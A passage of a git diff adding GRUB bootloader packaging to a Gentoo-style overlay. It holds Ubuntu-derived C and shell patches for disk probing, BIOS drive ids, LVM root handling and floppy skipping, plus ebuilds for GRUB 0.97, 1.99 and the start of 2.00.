+     if test -f "$dir/LC_MESSAGES/grub.mo"; then
+         cp -f "$dir/LC_MESSAGES/grub.mo" "${grubdir}/locale/${dir##*/}.mo"
+     fi
+diff -Nur -x '*.orig' -x '*~' grub2/util/i386/efi/grub-install.in grub2.new/util/i386/efi/grub-install.in
+--- grub2/util/i386/efi/grub-install.in	2010-03-22 15:58:16.000000000 +0000
++++ grub2.new/util/i386/efi/grub-install.in	2010-03-22 15:59:17.000000000 +0000
+@@ -183,7 +183,7 @@
+ 
+ # Copy gettext files
+ mkdir -p ${grubdir}/locale/
+-for dir in ${localedir}/*; do
++for dir in ${localedir}/* ${localedir}-langpack/*; do
+     if test -f "$dir/LC_MESSAGES/grub.mo"; then
+         cp -f "$dir/LC_MESSAGES/grub.mo" "${grubdir}/locale/${dir##*/}.mo"
+     fi
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/974_drive_probe.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/974_drive_probe.diff
new file mode 100644
index 00000000..0c9f3646
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/974_drive_probe.diff
@@ -0,0 +1,23 @@
+Description: Probe all devices if we've been asked for a drive name
+ This allows --target=drive to work properly even without a device.map.
+ .
+ Depends on 969_lvm_raid_probe.diff.
+Author: Colin Watson <cjwatson@ubuntu.com>
+Bug-Ubuntu: https://bugs.launchpad.net/bugs/549980
+Forwarded: no
+Last-Update: 2010-04-08
+
+diff -Nur -x '*.orig' -x '*~' grub2/util/grub-probe.c grub2.new/util/grub-probe.c
+--- grub2/util/grub-probe.c	2010-04-08 12:02:36.000000000 +0100
++++ grub2.new/util/grub-probe.c	2010-04-08 12:04:05.000000000 +0100
+@@ -139,7 +139,9 @@
+     }
+ 
+   if (stat (dev_map, &dev_map_stat) == -1 &&
+-      grub_util_get_dev_abstraction (device_name) != GRUB_DEV_ABSTRACTION_NONE)
++      (print == PRINT_DRIVE ||
++       grub_util_get_dev_abstraction (device_name) !=
++	 GRUB_DEV_ABSTRACTION_NONE))
+     {
+       /* If we don't have a device map, then we won't yet know about the
+          physical volumes underlying this device, so probe all devices.  */
diff --git a/sys-boot/grub/files/ubuntu-upstream-1.98/975_hostdisk_hd.diff b/sys-boot/grub/files/ubuntu-upstream-1.98/975_hostdisk_hd.diff
new file mode 100644
index 00000000..7ea7f5f8
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream-1.98/975_hostdisk_hd.diff
@@ -0,0 +1,114 @@
+Description: Adjust hostdisk id for hard disks
+ This allows grub-setup to use its standard workaround for broken BIOSes.
+Author: Colin Watson <cjwatson@ubuntu.com>
+Bug: http://savannah.gnu.org/bugs/?29464
+Bug-Ubuntu: https://bugs.launchpad.net/bugs/555500
+Forwarded: http://savannah.gnu.org/bugs/?29464
+Last-Update: 2010-04-08
+
+diff -Nur -x '*.orig' -x '*~' grub2/util/hostdisk.c grub2.new/util/hostdisk.c
+--- grub2/util/hostdisk.c	2010-04-08 17:09:02.000000000 +0100
++++ grub2.new/util/hostdisk.c	2010-04-08 17:10:18.000000000 +0100
+@@ -186,6 +186,8 @@
+ 
+   disk->has_partitions = 1;
+   disk->id = drive;
++  if (strncmp (map[drive].drive, "hd", 2) == 0)
++    disk->id += 0x80;
+   disk->data = data = xmalloc (sizeof (struct grub_util_biosdisk_data));
+   data->dev = NULL;
+   data->access_mode = 0;
+@@ -491,9 +493,9 @@
+     int is_partition = 0;
+     char dev[PATH_MAX];
+ 
+-    strcpy (dev, map[disk->id].device);
++    strcpy (dev, map[disk->id & 0x7f].device);
+     if (disk->partition && sector >= disk->partition->start
+-	&& strncmp (map[disk->id].device, "/dev/", 5) == 0)
++	&& strncmp (map[disk->id & 0x7f].device, "/dev/", 5) == 0)
+       is_partition = linux_find_partition (dev, disk->partition->start);
+ 
+     if (data->dev && strcmp (data->dev, dev) == 0 &&
+@@ -548,7 +550,7 @@
+     }
+ #endif
+ 
+-  if (data->dev && strcmp (data->dev, map[disk->id].device) == 0 &&
++  if (data->dev && strcmp (data->dev, map[disk->id & 0x7f].device) == 0 &&
+       data->access_mode == (flags & O_ACCMODE))
+     {
+       grub_dprintf ("hostdisk", "reusing open device `%s'\n", data->dev);
+@@ -560,10 +562,10 @@
+       if (data->fd != -1)
+ 	close (data->fd);
+ 
+-      fd = open (map[disk->id].device, flags);
++      fd = open (map[disk->id & 0x7f].device, flags);
+       if (fd >= 0)
+ 	{
+-	  data->dev = xstrdup (map[disk->id].device);
++	  data->dev = xstrdup (map[disk->id & 0x7f].device);
+ 	  data->access_mode = (flags & O_ACCMODE);
+ 	  data->fd = fd;
+ 	}
+@@ -581,12 +583,12 @@
+ #if defined(__APPLE__)
+   /* If we can't have exclusive access, try shared access */
+   if (fd < 0)
+-    fd = open(map[disk->id].device, flags | O_SHLOCK);
++    fd = open(map[disk->id & 0x7f].device, flags | O_SHLOCK);
+ #endif
+ 
+   if (fd < 0)
+     {
+-      grub_error (GRUB_ERR_BAD_DEVICE, "cannot open `%s' in open_device()", map[disk->id].device);
++      grub_error (GRUB_ERR_BAD_DEVICE, "cannot open `%s' in open_device()", map[disk->id & 0x7f].device);
+       return -1;
+     }
+ #endif /* ! __linux__ */
+@@ -604,7 +606,7 @@
+     offset = (loff_t) sector << GRUB_DISK_SECTOR_BITS;
+     if (_llseek (fd, offset >> 32, offset & 0xffffffff, &result, SEEK_SET))
+       {
+-	grub_error (GRUB_ERR_BAD_DEVICE, "cannot seek `%s'", map[disk->id].device);
++	grub_error (GRUB_ERR_BAD_DEVICE, "cannot seek `%s'", map[disk->id & 0x7f].device);
+ 	close (fd);
+ 	return -1;
+       }
+@@ -615,7 +617,7 @@
+ 
+     if (lseek (fd, offset, SEEK_SET) != offset)
+       {
+-	grub_error (GRUB_ERR_BAD_DEVICE, "cannot seek `%s'", map[disk->id].device);
++	grub_error (GRUB_ERR_BAD_DEVICE, "cannot seek `%s'", map[disk->id & 0x7f].device);
+ 	close (fd);
+ 	return -1;
+       }
+@@ -713,7 +715,7 @@
+ 	 parts. -jochen  */
+       if (nread (fd, buf, GRUB_DISK_SECTOR_SIZE) != GRUB_DISK_SECTOR_SIZE)
+ 	{
+-	  grub_error (GRUB_ERR_READ_ERROR, "cannot read `%s'", map[disk->id].device);
++	  grub_error (GRUB_ERR_READ_ERROR, "cannot read `%s'", map[disk->id & 0x7f].device);
+ 	  close (fd);
+ 	  return grub_errno;
+ 	}
+@@ -725,7 +727,7 @@
+ 
+   if (nread (fd, buf, size << GRUB_DISK_SECTOR_BITS)
+       != (ssize_t) (size << GRUB_DISK_SECTOR_BITS))
+-    grub_error (GRUB_ERR_READ_ERROR, "cannot read from `%s'", map[disk->id].device);
++    grub_error (GRUB_ERR_READ_ERROR, "cannot read from `%s'", map[disk->id & 0x7f].device);
+ 
+   return grub_errno;
+ }
+@@ -759,7 +761,7 @@
+ 
+   if (nwrite (fd, buf, size << GRUB_DISK_SECTOR_BITS)
+       != (ssize_t) (size << GRUB_DISK_SECTOR_BITS))
+-    grub_error (GRUB_ERR_WRITE_ERROR, "cannot write to `%s'", map[disk->id].device);
++    grub_error (GRUB_ERR_WRITE_ERROR, "cannot write to `%s'", map[disk->id & 0x7f].device);
+ 
+   return grub_errno;
+ }
diff --git a/sys-boot/grub/files/ubuntu-upstream/01_uuids_and_lvm_dont_play_along_nicely.diff b/sys-boot/grub/files/ubuntu-upstream/01_uuids_and_lvm_dont_play_along_nicely.diff
new file mode 100644
index 00000000..c997b845
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream/01_uuids_and_lvm_dont_play_along_nicely.diff
@@ -0,0 +1,14 @@
+diff --git a/util/grub.d/10_linux.in b/util/grub.d/10_linux.in
+index c2da413..cbd9d6b 100644
+--- a/util/grub.d/10_linux.in
++++ b/util/grub.d/10_linux.in
+@@ -36,7 +36,8 @@ case ${GRUB_DEVICE} in
+ esac
+
+ if [ "x${GRUB_DEVICE_UUID}" = "x" ] || [ "x${GRUB_DISABLE_LINUX_UUID}" = "xtrue" ] \
+-    || ! test -e "/dev/disk/by-uuid/${GRUB_DEVICE_UUID}" ; then
++    || ! test -e "/dev/disk/by-uuid/${GRUB_DEVICE_UUID}" \
++    || [ "`grub-probe -t abstraction --device ${GRUB_DEVICE} | sed -e 's,.*\(lvm\).*,\1,'`" = "lvm"  ] ; then
+   LINUX_ROOT_DEVICE=${GRUB_DEVICE}
+ else
+   LINUX_ROOT_DEVICE=UUID=${GRUB_DEVICE_UUID}
diff --git a/sys-boot/grub/files/ubuntu-upstream/904_disable_floppies.diff b/sys-boot/grub/files/ubuntu-upstream/904_disable_floppies.diff
new file mode 100644
index 00000000..66a41cdc
--- /dev/null
+++ b/sys-boot/grub/files/ubuntu-upstream/904_disable_floppies.diff
@@ -0,0 +1,28 @@
+
+Author: Robert Millan
+
+An ugly kludge.  Should this be merged upstream?
+
+Index: util/hostdisk.c
+===================================================================
+--- util/hostdisk.c	(revision 1832)
++++ util/hostdisk.c	(working copy)
+@@ -544,6 +544,18 @@
+ 	  continue;
+ 	}
+
++      if (! strncmp (p, "/dev/fd", sizeof ("/dev/fd") - 1))
++	{
++	  char *q = p + sizeof ("/dev/fd") - 1;
++	  if (*q >= '0' && *q <= '9')
++	    {
++	      free (map[drive].drive);
++	      map[drive].drive = NULL;
++	      grub_util_info ("`%s' looks like a floppy drive, skipping", p);
++	      continue;
++	    }
++	}
++
+ #ifdef __linux__
+       /* On Linux, the devfs uses symbolic links horribly, and that
+ 	 confuses the interface very much, so use realpath to expand
diff --git a/sys-boot/grub/grub-0.97-r22.ebuild b/sys-boot/grub/grub-0.97-r22.ebuild
new file mode 100644
index 00000000..ef410c38
--- /dev/null
+++ b/sys-boot/grub/grub-0.97-r22.ebuild
@@ -0,0 +1,245 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/sys-boot/grub/grub-0.97-r9.ebuild,v 1.4 2009/05/15 21:11:24 maekke Exp $
+
+# XXX: we need to review menu.lst vs grub.conf handling.  We've been converting
+#      all systems to grub.conf (and symlinking menu.lst to grub.conf), but
+#      we never updated any of the source code (it still all wants menu.lst),
+#      and there is no indication that upstream is making the transition.
+
+inherit mount-boot eutils flag-o-matic toolchain-funcs autotools multilib
+
+PATCHVER="1.9" # Should match the revision ideally
+DESCRIPTION="GNU GRUB Legacy boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+SRC_URI="mirror://gentoo/${P}.tar.gz
+	ftp://alpha.gnu.org/gnu/${PN}/${P}.tar.gz
+	mirror://gentoo/${P}-patches-${PATCHVER}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86 ~x86-fbsd"
+IUSE="custom-cflags ncurses netboot static"
+
+DEPEND="ncurses? (
+		>=sys-libs/ncurses-5.2-r5
+		amd64? ( app-emulation/emul-linux-x86-baselibs )
+	)"
+PROVIDE="virtual/bootloader"
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# patch breaks booting for some people #111885
+	rm "${WORKDIR}"/patch/400_*
+
+	# Grub will not handle a kernel larger than EXTENDED_MEMSIZE Mb as
+	# discovered in bug 160801. We can change this, however, using larger values
+	# for this variable means that Grub needs more memory to run and boot. For a
+	# kernel of size N, Grub needs (N+1)*2.  Advanced users should set a custom
+	# value in make.conf, it is possible to make kernels ~16Mb in size, but it
+	# needs the kitchen sink built-in.
+	local t="custom"
+	if [[ -z ${GRUB_MAX_KERNEL_SIZE} ]] ; then
+		case $(tc-arch) in
+			amd64) GRUB_MAX_KERNEL_SIZE=7 ;;
+			x86)   GRUB_MAX_KERNEL_SIZE=3 ;;
+		esac
+		t="default"
+	fi
+	einfo "Grub will support the ${t} maximum kernel size of ${GRUB_MAX_KERNEL_SIZE} Mb (GRUB_MAX_KERNEL_SIZE)"
+
+	sed -i \
+		-e "/^#define.*EXTENDED_MEMSIZE/s,3,${GRUB_MAX_KERNEL_SIZE},g" \
+		"${S}"/grub/asmstub.c \
+		|| die "Failed to hack memory size"
+
+	# UUID support
+	epatch "${FILESDIR}/${P}-uuid.patch"
+	epatch "${FILESDIR}/${P}-uuid_doc.patch"
+	# Gfxmenu support
+	epatch "${FILESDIR}/${P}-gfxmenu-v8.patch"
+
+	if [[ -n ${PATCHVER} ]] ; then
+		EPATCH_SUFFIX="patch"
+		epatch "${WORKDIR}"/patch
+		eautoreconf
+	fi
+}
+
+src_compile() {
+	filter-flags -fPIE #168834
+
+	# Fix libvolume_id build (UUID)
+	export CPPFLAGS="${CPPFLAGS} -I/usr/include -I/usr/$(get_libdir)/gcc/${CHOST}/$(gcc-fullversion)/include"
+
+	use amd64 && multilib_toolchain_setup x86
+
+	unset BLOCK_SIZE #73499
+
+	### i686-specific code in the boot loader is a bad idea; disabling to ensure
+	### at least some compatibility if the hard drive is moved to an older or
+	### incompatible system.
+
+	# grub-0.95 added -fno-stack-protector detection, to disable ssp for stage2,
+	# but the objcopy's (faulty) test fails if -fstack-protector is default.
+	# create a cache telling configure that objcopy is ok, and add -C to econf
+	# to make use of the cache.
+	#
+	# CFLAGS has to be undefined running econf, else -fno-stack-protector detection fails.
+	# STAGE2_CFLAGS is not allowed to be used on emake command-line, it overwrites
+	# -fno-stack-protector detected by configure, removed from netboot's emake.
+	use custom-cflags || unset CFLAGS
+
+	export grub_cv_prog_objcopy_absolute=yes #79734
+	use static && append-ldflags -static
+
+	# Per bug 216625, the emul packages do not provide .a libs for performing
+	# suitable static linking
+	if use amd64 && use static ; then
+		if [ -z "${GRUB_STATIC_PACKAGE_BUILDING}" ]; then
+			die "You must use the grub-static package if you want a static Grub on amd64!"
+		else
+			eerror "You have set GRUB_STATIC_PACKAGE_BUILDING. This"
+			eerror "is specifically intended for building the tarballs for the"
+			eerror "grub-static package via USE='static -ncurses'."
+			eerror "All bets are now off."
+			ebeep 10
+		fi
+	fi
+
+	# build the net-bootable grub first, but only if "netboot" is set
+	if use netboot ; then
+		econf \
+		--libdir=/lib \
+		--datadir=/usr/lib/grub \
+		--exec-prefix=/ \
+		--disable-auto-linux-mem-opt \
+		--enable-diskless \
+		--enable-{3c{5{03,07,09,29,95},90x},cs89x0,davicom,depca,eepro{,100}} \
+		--enable-{epic100,exos205,ni5210,lance,ne2100,ni{50,65}10,natsemi} \
+		--enable-{ne,ns8390,wd,otulip,rtl8139,sis900,sk-g16,smc9000,tiara} \
+		--enable-{tulip,via-rhine,w89c840} || die "netboot econf failed"
+
+		emake w89c840_o_CFLAGS="-O" || die "making netboot stuff"
+
+		mv -f stage2/{nbgrub,pxegrub} "${S}"/
+		mv -f stage2/stage2 stage2/stage2.netboot
+
+		make clean || die "make clean failed"
+	fi
+
+	# Now build the regular grub
+	# Note that FFS and UFS2 support are broken for now - stage1_5 files too big
+	econf \
+		--libdir=/lib \
+		--datadir=/usr/lib/grub \
+		--exec-prefix=/ \
+		--disable-auto-linux-mem-opt \
+		$(use_with ncurses curses) \
+		|| die "econf failed"
+
+	# sanity check due to common failure
+	use ncurses && ! grep -qs "HAVE_LIBCURSES.*1" config.h && die "USE=ncurses but curses not found"
+
+	emake || die "making regular stuff"
+}
+
+src_test() {
+	# non-default block size also give false pass/fails.
+	unset BLOCK_SIZE
+	make check || die "make check failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die
+	if use netboot ; then
+		exeinto /usr/lib/grub/${CHOST}
+		doexe nbgrub pxegrub stage2/stage2.netboot || die "netboot install"
+	fi
+
+	dodoc AUTHORS BUGS ChangeLog NEWS README THANKS TODO
+	newdoc docs/menu.lst grub.conf.sample
+	dodoc "${FILESDIR}"/grub.conf.gentoo
+	prepalldocs
+
+	[ -n "${GRUB_STATIC_PACKAGE_BUILDING}" ] && \
+		mv \
+		"${D}"/usr/share/doc/${PF} \
+		"${D}"/usr/share/doc/grub-static-${PF/grub-}
+
+	insinto /usr/share/grub
+	doins "${FILESDIR}"/splash.xpm.gz
+
+}
+
+setup_boot_dir() {
+	local boot_dir=$1
+	local dir=${boot_dir}
+
+	mkdir -p "${dir}"
+	[[ ! -L ${dir}/boot ]] && ln -s . "${dir}/boot"
+	dir="${dir}/grub"
+	if [[ ! -e ${dir} ]] ; then
+		mkdir "${dir}" || die "${dir} does not exist!"
+	fi
+
+	# change menu.lst to grub.conf
+	if [[ ! -e ${dir}/grub.conf ]] && [[ -e ${dir}/menu.lst ]] ; then
+		mv -f "${dir}"/menu.lst "${dir}"/grub.conf
+		ewarn
+		ewarn "*** IMPORTANT NOTE: menu.lst has been renamed to grub.conf"
+		ewarn
+	fi
+
+	if [[ ! -e ${dir}/menu.lst ]]; then
+		einfo "Linking from new grub.conf name to menu.lst"
+		ln -snf grub.conf "${dir}"/menu.lst
+	fi
+
+	if [[ ! -e ${dir}/grub.conf ]] ; then
+		s="${ROOT}/usr/share/doc/${PF}/grub.conf.gentoo"
+		[[ -e "${s}" ]] && cat "${s}" >${dir}/grub.conf
+		[[ -e "${s}.gz" ]] && zcat "${s}.gz" >${dir}/grub.conf
+		[[ -e "${s}.bz2" ]] && bzcat "${s}.bz2" >${dir}/grub.conf
+	fi
+
+	splash_xpm_gz="${ROOT}/usr/share/grub/splash.xpm.gz"
+	boot_splash_xpm_gz="${dir}/splash.xpm.gz"
+	[[ -e "${splash_xpm_gz}" ]] && [[ ! -e "${boot_splash_xpm_gz}" ]] && \
+		cp "${splash_xpm_gz}" "${boot_splash_xpm_gz}"
+
+	einfo "Grub has been installed to ${boot_dir} successfully."
+}
+
+pkg_postinst() {
+	if [[ -n ${DONT_MOUNT_BOOT} ]]; then
+		elog "WARNING: you have DONT_MOUNT_BOOT in effect, so you must apply"
+		elog "the following instructions for your /boot!"
+		elog "Neglecting to do so may cause your system to fail to boot!"
+		elog
+	else
+		setup_boot_dir "${ROOT}"/boot
+		# Trailing output because if this is run from pkg_postinst, it gets mixed into
+		# the other output.
+		einfo ""
+	fi
+	elog "To interactively install grub files to another device such as a USB"
+	elog "stick, just run the following and specify the directory as prompted:"
+	elog "   emerge --config =${PF}"
+	elog "Alternately, you can export GRUB_ALT_INSTALLDIR=/path/to/use to tell"
+	elog "grub where to install in a non-interactive way."
+
+}
+
+pkg_config() {
+	local dir
+	if [ ! -d "${GRUB_ALT_INSTALLDIR}" ]; then
+		einfo "Enter the directory where you want to setup grub:"
+		read dir
+	else
+		dir="${GRUB_ALT_INSTALLDIR}"
+	fi
+	setup_boot_dir "${dir}"
+}
diff --git a/sys-boot/grub/grub-1.99-r2.ebuild b/sys-boot/grub/grub-1.99-r2.ebuild
new file mode 100644
index 00000000..74e3d314
--- /dev/null
+++ b/sys-boot/grub/grub-1.99-r2.ebuild
@@ -0,0 +1,319 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+if [[ ${PV} == "9999" ]] ; then
+	EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+	LIVE_ECLASS="bzr"
+	SRC_URI=""
+	DO_AUTORECONF="true"
+else
+	MY_P=${P/_/\~}
+	SRC_URI="mirror://gnu/${PN}/${MY_P}.tar.xz
+		mirror://gentoo/${MY_P}.tar.xz"
+	S=${WORKDIR}/${MY_P}
+fi
+
+inherit mount-boot eutils flag-o-matic pax-utils toolchain-funcs ${DO_AUTORECONF:+autotools} ${LIVE_ECLASS}
+inherit mount-boot eutils flag-o-matic toolchain-funcs autotools ${LIVE_ECLASS}
+
+DESCRIPTION="GNU GRUB boot loader"
+HOMEPAGE="http://www.gnu.org/software/grub/"
+
+LICENSE="GPL-3"
+SLOT="2"
+[[ ${PV} != "9999" ]] && KEYWORDS="~amd64 ~x86 ~mips ~ppc ~ppc64"
+IUSE="custom-cflags debug +device-mapper nls static sdl +truetype"
+
+GRUB_PLATFORMS="coreboot efi-32 efi-64 emu ieee1275 multiboot pc yeeloong"
+# everywhere:
+#     emu
+# mips only:
+#     qemu-mips, yeelong
+# amd64, x86, ppc, ppc64
+#     ieee1275
+# amd64, x86
+#     coreboot, multiboot, efi-32, pc, qemu
+# amd64
+#     efi-64
+for i in ${GRUB_PLATFORMS}; do
+	IUSE+=" grub_platforms_${i}"
+done
+unset i
+
+# os-prober: Used on runtime to detect other OSes
+# xorriso (dev-libs/libisoburn): Used on runtime for mkrescue
+RDEPEND="
+	x11-themes/rogentos-artwork-grub
+	dev-libs/libisoburn
+	dev-libs/lzo
+	sys-boot/os-prober
+	>=sys-libs/ncurses-5.2-r5
+	debug? (
+		sdl? ( media-libs/libsdl )
+	)
+	device-mapper? ( >=sys-fs/lvm2-2.02.45 )
+	truetype? ( media-libs/freetype >=media-fonts/unifont-5 )"
+DEPEND="${RDEPEND}
+	>=dev-lang/python-2.5.2
+	sys-devel/flex
+	virtual/yacc
+	sys-apps/texinfo
+"
+if [[ -n ${DO_AUTORECONF} ]] ; then
+	DEPEND+=" >=sys-devel/autogen-5.10 sys-apps/help2man"
+else
+	DEPEND+=" app-arch/xz-utils"
+fi
+
+export STRIP_MASK="*/grub*/*/*.{mod,img}"
+QA_EXECSTACK="
+	lib64/grub2/*/setjmp.mod
+	lib64/grub2/*/kernel.img
+	sbin/grub2-probe
+	sbin/grub2-setup
+	sbin/grub2-mkdevicemap
+	bin/grub2-script-check
+	bin/grub2-fstest
+	bin/grub2-mklayout
+	bin/grub2-menulst2cfg
+	bin/grub2-mkrelpath
+	bin/grub2-mkpasswd-pbkdf2
+	bin/grub2-mkfont
+	bin/grub2-editenv
+	bin/grub2-mkimage
+"
+
+QA_WX_LOAD="
+	lib*/grub2/*/kernel.img
+	lib*/grub2/*/setjmp.mod
+"
+
+grub_run_phase() {
+	local phase=$1
+	local platform=$2
+	[[ -z ${phase} ]] && die "${FUNCNAME}: Phase is undefined"
+	[[ -z ${platform} ]] && die "${FUNCNAME}: Platform is undefined"
+
+	[[ -d "${WORKDIR}/build-${platform}" ]] || \
+		{ mkdir "${WORKDIR}/build-${platform}" || die ; }
+	pushd "${WORKDIR}/build-${platform}" > /dev/null || die
+
+	echo ">>> Running ${phase} for platform \"${platform}\""
+	echo ">>> Working in: \"${WORKDIR}/build-${platform}\""
+
+	grub_${phase} ${platform}
+
+	popd > /dev/null || die
+}
+
+grub_src_configure() {
+	local platform=$1
+	local target
+
+	[[ -z ${platform} ]] && die "${FUNCNAME}: Platform is undefined"
+
+	# if we have no platform then --with-platform=guessed does not work
+	[[ ${platform} == "guessed" ]] && platform=""
+
+	# check if we have to specify the target (EFI)
+	# or just append correct --with-platform
+	if [[ -n ${platform} ]]; then
+		if [[ ${platform/-*} == ${platform} ]]; then
+			platform=" --with-platform=${platform}"
+		else
+			# EFI platform hack
+			[[ ${platform/*-} == 32 ]] && target=i386
+			[[ ${platform/*-} == 64 ]] && target=x86_64
+			# program-prefix is required empty because otherwise it is equal to
+			# target variable, which we do not want at all
+			platform="
+				--with-platform=${platform/-*}
+				--target=${target}
+				--program-prefix=
+			"
+		fi
+	fi
+
+	ECONF_SOURCE="${WORKDIR}/${P}/" \
+	econf \
+		--disable-werror \
+		--sbindir=/sbin \
+		--bindir=/bin \
+		--libdir=/$(get_libdir) \
+		--disable-efiemu \
+		$(use_enable device-mapper) \
+		$(use_enable truetype grub-mkfont) \
+		$(use_enable nls) \
+		$(use_enable debug mm-debug) \
+		$(use sdl && use_enable debug grub-emu-sdl) \
+		$(use_enable debug grub-emu-usb) \
+		${platform}
+}
+
+grub_src_compile() {
+	default_src_compile
+}
+
+grub_src_install() {
+	default_src_install
+}
+
+src_prepare() {
+	local i j archs
+
+	epatch "${FILESDIR}"/${PN}-1.99-genkernel.patch #256335
+	epatch "${FILESDIR}"/${PN}-1.99-vga-deprecated.patch
+	epatch "${FILESDIR}"/${PN}-1.99-wallpaper-settings-support.patch
+	# This happens with md raid metadata 0.90. Due to limitations of the format
+	epatch "${FILESDIR}"/${PN}-1.99-workaround-raid-bios-bug.patch
+	# vga= not yet deprecated for us
+	epatch "${FILESDIR}"/${PN}-1.99-vga-deprecated-not-yet.patch
+	epatch "${FILESDIR}"/${PN}-1.99-disable-floppies.patch
+	epatch_user
+	# Genkernel doesn't support "single" for rescue mode
+	# but rather init_opts=single
+	epatch "${FILESDIR}"/${PN}-1.98-genkernel-initramfs-single.patch
+
+	# fix texinfo file name, as otherwise the grub2.info file will be
+	# useless
+	sed -i \
+		-e '/setfilename/s:grub.info:grub2.info:' \
+		-e 's:(grub):(grub2):' \
+		"${S}"/docs/grub.texi
+
+	# autogen.sh does more than just run autotools
+	if [[ -n ${DO_AUTORECONF} ]] ; then
+		sed -i -e '/^autoreconf/s:^:set +e; e:' autogen.sh || die
+		(. ./autogen.sh) || die
+	fi
+
+	# install into the right dir for eselect #372735
+	sed -i \
+		-e '/^bashcompletiondir =/s:=.*:= $(datarootdir)/bash-completion:' \
+		util/bash-completion.d/Makefile.in || die
+
+	# get enabled platforms
+	GRUB_ENABLED_PLATFORMS=""
+	for i in ${GRUB_PLATFORMS}; do
+		use grub_platforms_${i} && GRUB_ENABLED_PLATFORMS+=" ${i}"
+	done
+	[[ -z ${GRUB_ENABLED_PLATFORMS} ]] && GRUB_ENABLED_PLATFORMS="guessed"
+	einfo "Going to build following platforms: ${GRUB_ENABLED_PLATFORMS}"
+}
+
+src_configure() {
+	local i
+
+	use custom-cflags || unset CFLAGS CPPFLAGS LDFLAGS
+	use static && append-ldflags -static
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+}
+
+src_compile() {
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+}
+
+src_install() {
+	local i
+
+	for i in ${GRUB_ENABLED_PLATFORMS}; do
+		grub_run_phase ${FUNCNAME} ${i}
+	done
+
+	# Do pax marking
+	local PAX=(
+		"sbin/grub2-probe"
+		"sbin/grub2-setup"
+		"sbin/grub2-mkdevicemap"
+		"bin/grub2-script-check"
+		"bin/grub2-fstest"
+		"bin/grub2-mklayout"
+		"bin/grub2-menulst2cfg"
+		"bin/grub2-mkrelpath"
+		"bin/grub2-mkpasswd-pbkdf2"
+		"bin/grub2-editenv"
+		"bin/grub2-mkimage"
+	)
+	for e in ${PAX[@]}; do
+		pax-mark -mp "${ED}/${e}"
+	done
+
+	# avoid collisions with grub-1
+	sed -i "s:grub-install:grub2-install:" "${ED}"/sbin/grub-install || die
+	mv "${ED}"/sbin/grub{,2}-install || die
+	mv "${ED}"/sbin/grub{,2}-set-default || die
+	mv "${ED}"/usr/share/info/grub{,2}.info || die
+
+	# can't be in docs array as we use defualt_src_install in different builddir
+	dodoc AUTHORS ChangeLog NEWS README THANKS TODO
+	insinto /etc/default
+	newins "${FILESDIR}"/grub2-default-1.99 grub
+	cat <<-EOF >> "${ED}"/lib*/grub/grub-mkconfig_lib
+	GRUB_DISTRIBUTOR="Rogentos"
+EOF
+
+	# Install fonts setup hook
+	exeinto /etc/grub.d
+	doexe "${FILESDIR}/00_fonts"
+	doexe "${FILESDIR}/05_distro_theme"
+
+	dodir /etc/env.d
+	echo 'CONFIG_PROTECT_MASK="/etc/grub.d"' > "${ED}/etc/env.d/10grub2"
+
+}
+
+setup_boot_dir() {
+	local dir=$1
+
+	# display the link to guide if user didn't set up anything yet.
+	elog "For informations how to configure grub-2 please reffer to the guide:"
+	elog "    http://dev.gentoo.org/~scarabeus/grub-2-guide.xml"
+
+	if [[ ! -e ${dir}/grub.cfg && -e ${dir}/menu.lst ]] ; then
+		# This is first grub2 install and we have old configuraton for
+		# grub1 around. Lets try to generate grub.cfg from it so user
+		# does not loose any stuff when rebooting.
+		# NOTE: in long term he still NEEDS to migrate to grub.d stuff.
+		einfo "Running: grub-menulst2cfg '${dir}/menu.lst' '${dir}/grub.cfg'"
+		grub-menulst2cfg "${dir}/menu.lst" "${dir}/grub.cfg" || \
+			ewarn "Running grub-menulst2cfg failed!"
+
+		einfo "Even if we just created configuration for your grub2 using old"
+		einfo "grub-legacy configuration file you should migrate to use new style"
+		einfo "configuration in '${ROOT}/etc/grub.d'."
+		einfo
+	else
+		# we need to refresh the grub.cfg everytime just to play it safe
+		einfo "Running: grub-mkconfig -o '${dir}/grub.cfg'"
+		grub-mkconfig -o "${dir}/grub.cfg" || \
+			ewarn "Running grub-mkconfig failed! Check your configuration files!"
+	fi
+
+	# TODO: drop from here before 2012-06
+	# install Sabayon splash here, cannot touch boot/grub inside
+	# src_install
+	cp "${ROOT}/usr/share/grub/default-splash.png" "${dir}/default-splash.png" || \
+		ewarn "cannot install default splash file!"
+
+	elog "Remember to run grub2-install to install your grub every time"
+	elog "you update this package!"
+}
+
+pkg_postinst() {
+	mount-boot_mount_boot_partition
+
+	setup_boot_dir "${ROOT}"boot/grub
+
+	# needs to be called after we call setup_boot_dir
+	mount-boot_pkg_postinst
+}
diff --git a/sys-boot/grub/grub-2.00-r2.ebuild b/sys-boot/grub/grub-2.00-r2.ebuild
new file mode 100644
index 00000000..9f59cf8d
--- /dev/null
+++ b/sys-boot/grub/grub-2.00-r2.ebuild
@@ -0,0 +1,376 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+if [[ ${PV} == "9999" ]] ; then
+	EBZR_REPO_URI="http://bzr.savannah.gnu.org/r/grub/trunk/grub/"
+	LIVE_ECLASS="bzr"
+	SRC_URI=""
+	DO_AUTORECONF="true"
+else
+	MY_P=${P/_/\~}
+	if [[ ${PV} == *_alpha* || ${PV} == *_beta* || ${PV} == *_rc* ]]; then
